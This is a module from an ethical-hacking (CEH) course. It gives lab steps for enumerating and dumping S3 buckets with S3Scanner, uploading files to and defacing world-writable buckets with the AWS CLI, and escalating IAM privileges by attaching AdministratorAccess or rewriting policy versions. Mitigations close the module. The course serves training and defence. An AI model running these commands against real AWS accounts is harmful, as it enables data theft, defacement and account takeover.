Cyber Services / All lessons / CEH — Ethical Hacking / Cloud Hacking Labs AWS S3 & IAM

Cloud Hacking Labs AWS S3 & IAM

Module 107 of 130 · 11 min read · Free to read

MODULES ↓ Command blocks have a COPY button

This guide provides a structured approach to performing hands-on labs focused on Amazon Web Services (AWS) S3 bucket security and Identity and Access Management (IAM) privilege escalation. These labs are designed for CEH v13 students to understand common cloud misconfigurations and attack vectors.

IMPORTANT ETHICAL HACKING NOTICE:
  • All activities described herein must be performed EXCLUSIVELY on AWS accounts and resources for which you have explicit, written authorization to conduct security testing.
  • Unauthorized scanning or testing of any AWS resources is illegal and unethical.
  • It is strongly recommended to use a dedicated AWS Free Tier account or a sandboxed lab environment (like EC-Council iLabs, if applicable) specifically for these exercises to avoid impacting production systems and incurring unexpected costs.
  • Always adhere to the AWS Acceptable Use Policy and Customer Agreement.
Lab 1: Perform S3 Bucket Enumeration using Various S3 Bucket Enumeration Tools

This lab focuses on identifying publicly accessible or misconfigured S3 buckets.

Prerequisites:
  • An AWS account (for creating test buckets, if not using pre-configured labs).
  • A Linux-based machine (e.g., Kali Linux) with internet access.
  • AWS CLI installed and configured (optional, but useful for creating test scenarios).
  • Python3 and pip installed.
  • Git installed.

Lab 1.1: Enumerate S3 Buckets using lazys3

Scenario: You are tasked with identifying S3 buckets associated with a target organization (or for this lab, you might be looking for publicly known "test" buckets or buckets you create with specific naming patterns). Lazys3 is a Ruby-based tool that checks for common S3 bucket naming conventions.

(Note: The original table mentioned lazys3. If you prefer a Python tool, we can adapt to S3Scanner for this part too, as lazys3 is Ruby. For consistency with S3Scanner in 1.2, let's assume a similar Python-based tool or focus on S3Scanner's enumeration capabilities if Lazys3 is harder for students to set up.) For this example, let's adjust and say we'll use a conceptual Python script or S3Scanner's broad enumeration techniques if `lazys3` setup is a hurdle. Since 1.2 *specifically* mentions S3Scanner, let's focus on tools readily available.

Alternative/Focus for 1.1 & 1.2: Using S3Scanner for Broad & Specific Enumeration
S3Scanner can be used for both broad searches and checking specific bucket names. We'll combine the spirit of these two sub-labs using S3Scanner.

Lab Steps for S3Scanner (Covering 1.1 & 1.2 concepts):
  1. Install S3Scanner:
    git clone https://github.com/sa7mon/S3Scanner.git
    cd S3Scanner
    sudo pip3 install -r requirements.txt
  2. Create Target Buckets (If doing self-study setup):

    In your AWS account, create a couple of S3 buckets for testing:

    • One publicly readable: e.g., ceh13-lab-public-readable-[yourname] (Set permissions to allow public list/read).
    • One private: e.g., ceh13-lab-private-[yourname] (Default private permissions).
    • One with a common permutation: e.g., test-ceh13-lab-[yourname]
    Upload a sample text file (e.g., secret.txt) to the public bucket.

  3. Enumerate Specific Buckets (Simulating knowledge of potential names):
    python3 s3scanner.py ceh13-lab-public-readable-[yourname]
    python3 s3scanner.py ceh13-lab-private-[yourname]
    python3 s3scanner.py non-existent-bucket-[yourname]123

    Observe the output. It will tell you if the bucket exists and its access level (Public, AuthenticatedUsers, Private, NotFound).

  4. Enumerate a List of Potential Bucket Names:

    Create a file named buckets.txt with potential bucket names, one per line (include the names of buckets you created, and some common variations or dictionary words if you want to simulate broader enumeration):

    ceh13-lab-public-readable-[yourname]
    prod-backups-ceh13
    dev-assets-ceh13
    test-ceh13-lab-[yourname]
    Then run:
    python3 s3scanner.py -f buckets.txt -o s3_scan_results.txt
  5. Dump a Publicly Readable Bucket (Simulating Lazys3's goal of finding open buckets):

    If S3Scanner identifies a bucket as "Public" and readable in step 3 or 4, you can try to dump its contents.

    python3 s3scanner.py -d ceh13-lab-public-readable-[yourname]

    This will attempt to list and download all objects from the bucket if permissions allow.

Verification:
  • Confirm S3Scanner correctly identifies the existence and access levels of your test buckets.
  • Verify that S3Scanner successfully lists and downloads files from your publicly readable bucket.
  • Check the s3_scan_results.txt file for the output from the list scan.
Lab 2: Exploit S3 Buckets

This lab focuses on interacting with and exploiting misconfigured S3 bucket permissions, specifically open write permissions.

Lab 2.1: Exploit Open S3 Buckets using AWS CLI

Prerequisites:
  • AWS CLI installed and configured (can be configured with dummy credentials for unauthenticated access, or with credentials for an account that has access to list/write to the target bucket if simulating authenticated exploitation). For unauthenticated access, you can just run aws configure and press Enter for keys and region, or use --no-sign-request.
  • An S3 bucket misconfigured to allow public write access (or authenticated write access for a specific user you control).

    Self-Study Setup: Create a bucket ceh13-lab-public-writable-[yourname]. In its permissions, under "Bucket policy", add a policy like this (USE WITH EXTREME CAUTION AND ONLY ON TEST BUCKETS YOU OWN - THIS MAKES IT WORLD-WRITABLE!):

    {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "AllowPublicWrite",
                "Effect": "Allow",
                "Principal": "*",
                "Action": [
                    "s3:PutObject",
                    "s3:PutObjectAcl"
                ],
                "Resource": "arn:aws:s3:::ceh13-lab-public-writable-[yourname]/*"
            },
            {
                "Sid": "AllowPublicListAndRead",
                "Effect": "Allow",
                "Principal": "*",
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Resource": [
                    "arn:aws:s3:::ceh13-lab-public-writable-[yourname]",
                    "arn:aws:s3:::ceh13-lab-public-writable-[yourname]/*"
                ]
            }
        ]
    }
    Replace ceh13-lab-public-writable-[yourname] with your actual bucket name. Remember to delete this policy or bucket after the lab.

Scenario: You have identified an S3 bucket that appears to be world-writable. Your goal is to confirm this by uploading a file and then potentially using it for further exploitation (e.g., hosting a phishing page, exfiltrating data).
Lab Steps:
  1. Create a test file to upload:
    echo "This is a test file uploaded by a CEH student." > poc.txt
  2. Attempt to list the contents of the target bucket (using --no-sign-request for public buckets):
    aws s3 ls s3://ceh13-lab-public-writable-[yourname] --no-sign-request

    If this works, it confirms public listability.

  3. Attempt to upload your test file to the bucket:
    aws s3 cp poc.txt s3://ceh13-lab-public-writable-[yourname]/poc.txt --no-sign-request
  4. Verify the upload by listing the bucket contents again:
    aws s3 ls s3://ceh13-lab-public-writable-[yourname]/ --no-sign-request

    You should see poc.txt listed.

  5. Attempt to access the uploaded file via its public URL (if object ACLs also allow public read):

    The URL format is https://.s3..amazonaws.com/ or https://s3..amazonaws.com//. Example: https://ceh13-lab-public-writable-[yourname].s3.us-east-1.amazonaws.com/poc.txt. Open this in a browser.

  6. (Optional) Defacement/Modification:

    If the bucket hosts a static website, you could try replacing an existing file like index.html (ONLY ON YOUR OWN TEST BUCKET!).

    echo "

    Bucket Defaced for CEH Lab!

    " > new_index.html aws s3 cp new_index.html s3://ceh13-lab-public-writable-[yourname]/index.html --no-sign-request --acl public-read

    The --acl public-read is important if you want the new file to be publicly accessible via URL immediately.

  7. Cleanup: Remove your test file.
    aws s3 rm s3://ceh13-lab-public-writable-[yourname]/poc.txt --no-sign-request
    # If you uploaded index.html, remove or revert it.
Verification:
  • Successful upload of poc.txt to the target bucket.
  • Ability to list poc.txt in the bucket after upload.
  • (If applicable) Ability to access poc.txt via its public S3 URL.
  • (If defacement was attempted) Observation of the changed content on the target website/file.
Lab 3: Perform Privilege Escalation to Gain Higher Privileges

This lab explores escalating privileges within AWS IAM by exploiting misconfigured user policies.

Lab 3.1: Escalate IAM User Privileges by Exploiting Misconfigured User Policy

Prerequisites:
  • AWS CLI installed and configured with credentials for a low-privileged IAM user.
  • An AWS environment where you can create and misconfigure IAM user policies.
  • Understanding of AWS IAM policies, users, roles, and permissions.
Scenario: You have gained initial access to an AWS environment with credentials for an IAM user, let's call them LowPrivUser. Your goal is to analyze this user's permissions and identify any misconfigurations that would allow you to escalate privileges, ultimately aiming for administrative access or access to sensitive resources.

A common misconfiguration involves a user having permission to create new versions of existing policies (iam:CreatePolicyVersion) that are attached to higher-privileged users/roles, or permission to attach policies (iam:AttachUserPolicy, iam:AttachRolePolicy) to themselves or other entities.

Self-Study Setup:
  1. Create an IAM user named VictimAdminUser. Attach the AWS managed AdministratorAccess policy to this user. (This is our target privesc goal).
  2. Create an IAM user named LowPrivUser. Generate access keys for this user.
  3. Create a custom IAM policy named MisconfiguredEscalationPolicy with the following permissions (THIS IS THE MISCONFIGURATION):
    {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Action": [
                    "iam:ListAttachedUserPolicies",
                    "iam:ListPolicies",
                    "iam:GetPolicy",
                    "iam:GetPolicyVersion",
                    "iam:CreatePolicyVersion", // Allows modifying existing policies
                    "iam:SetDefaultPolicyVersion", // Allows setting the active version
                    "iam:AttachUserPolicy" // Allows attaching policies to users
                ],
                "Resource": "*" // Overly broad, but common in misconfigs
            }
        ]
    }
  4. Attach MisconfiguredEscalationPolicy to LowPrivUser.
  5. Configure your AWS CLI to use the access keys of LowPrivUser.
Lab Steps:
  1. Enumerate LowPrivUser's Permissions:

    While you "know" the permissions from the setup, in a real scenario, you'd enumerate. One way is to try various aws iam list-* or get-* commands or use tools like Pacu's iam__enum_permissions module. For this lab, we assume you've identified the key misconfigured permissions.

    # Verify who you are
    aws sts get-caller-identity
    
    # List policies attached to LowPrivUser (if you didn't know)
    # aws iam list-attached-user-policies --user-name LowPrivUser
    
  2. Identify a Target Policy to Modify (or a new one to create and attach):

    The goal is to gain admin rights. The misconfiguration allows iam:CreatePolicyVersion. If we can find an existing policy attached to a user/role we want to escalate to (or that is unattached but powerful), we can modify it. Or, since we also have iam:AttachUserPolicy, we could try to attach an existing administrative policy (like AdministratorAccess) to our LowPrivUser.

    Path 1: Attaching an Existing Admin Policy (Easier with iam:AttachUserPolicy to self)

  3. Attempt to Attach AdministratorAccess to LowPrivUser:

    Get the ARN of the AdministratorAccess policy.

    aws iam list-policies --scope AWS --query 'Policies[?PolicyName==`AdministratorAccess`].Arn' --output text

    Let's say the output is arn:aws:iam::aws:policy/AdministratorAccess.

    aws iam attach-user-policy --user-name LowPrivUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
  4. Verify Escalated Privileges:

    Try an administrative action that LowPrivUser couldn't do before, e.g., list all IAM users or create a new S3 bucket.

    aws iam list-users
    aws s3 mb s3://ceh13-privesc-test-bucket-[yourname]

    If these commands succeed, you've escalated privileges!

  5. Path 2: Modifying an Existing Policy (using iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion)

    This path is more complex and usually targeted if iam:AttachUserPolicy to self is not an option, but you can modify a policy attached to another user/role you want to impersonate or gain similar rights to. For this lab, Path 1 is simpler given the permissions.

    If you were to attempt Path 2, you would:

    1. Find a target policy ARN.
    2. Get its current default version document: aws iam get-policy-version --policy-arn --version-id
    3. Modify the policy document JSON to include permissive statements (e.g., "Action": "*", "Resource": "*").
    4. Create a new policy version: aws iam create-policy-version --policy-arn --policy-document file://modified_policy.json --set-as-default

  6. Cleanup:

    If you successfully attached the policy:

    aws iam detach-user-policy --user-name LowPrivUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
    # aws s3 rb s3://ceh13-privesc-test-bucket-[yourname] # If created
                            

    Delete the IAM users and custom policy created for the lab in your AWS account.

Verification:
  • Successful attachment of the AdministratorAccess policy to LowPrivUser.
  • LowPrivUser (with its original keys but now with the new policy) can perform administrative actions previously denied.
Key Learnings from These Labs:
  • S3 bucket names are globally unique and can sometimes be guessed or enumerated.
  • Publicly accessible S3 buckets (read or write) pose significant security risks, leading to data exposure or defacement.
  • AWS CLI is a powerful tool for interacting with S3 buckets, both for legitimate management and for exploitation if permissions are lax.
  • IAM is the cornerstone of AWS security. Misconfigured IAM policies are a primary vector for privilege escalation.
  • Permissions like iam:CreatePolicyVersion, iam:SetDefaultPolicyVersion, iam:AttachUserPolicy, iam:PutUserPolicy, iam:PassRole (to certain services) are high-risk and can lead to full privilege escalation if not scoped correctly.
  • Always operate under the principle of least privilege.
Mitigation & Defensive Measures:
  • S3 Buckets:
    • Keep S3 buckets private by default.
    • Use S3 Block Public Access settings at the account and bucket level.
    • Implement strict bucket policies and ACLs, granting only necessary permissions to specific principals.
    • Enable server access logging and CloudTrail for S3 to monitor access patterns.
    • Use S3 Versioning and MFA Delete for critical data.
    • Regularly scan for publicly accessible buckets using tools like AWS Config, AWS Security Hub, or third-party tools.
  • IAM:
    • Adhere to the principle of least privilege: Grant users and roles only the permissions they absolutely need.
    • Avoid using wildcard "*" in IAM policies for Actions or Resources where possible. Be specific.
    • Regularly review IAM policies for overly permissive settings, especially those related to IAM self-modification (e.g., iam:*Policy*, iam:CreateAccessKey).
    • Use IAM Roles for applications and services running on EC2 or other AWS services instead of long-lived access keys.
    • Implement MFA for all IAM users, especially administrative ones.
    • Monitor CloudTrail logs for suspicious IAM activity (e.g., unexpected policy changes, access key creation).
    • Utilize IAM Access Analyzer to identify resources shared with external entities.
Further Exploration (Self-Study):
  • Explore other S3 enumeration tools (e.g., BucketStream, CloudBrute).
  • Investigate S3 website hosting misconfigurations.
  • Research more complex IAM privilege escalation paths (e.g., via iam:PassRole to services like EC2, Lambda, or CodeBuild; exploiting trust relationships).
  • Use automated tools like Pacu or Cloudsplaining to identify AWS misconfigurations.
Modules (130) ← CEH — Ethical Hacking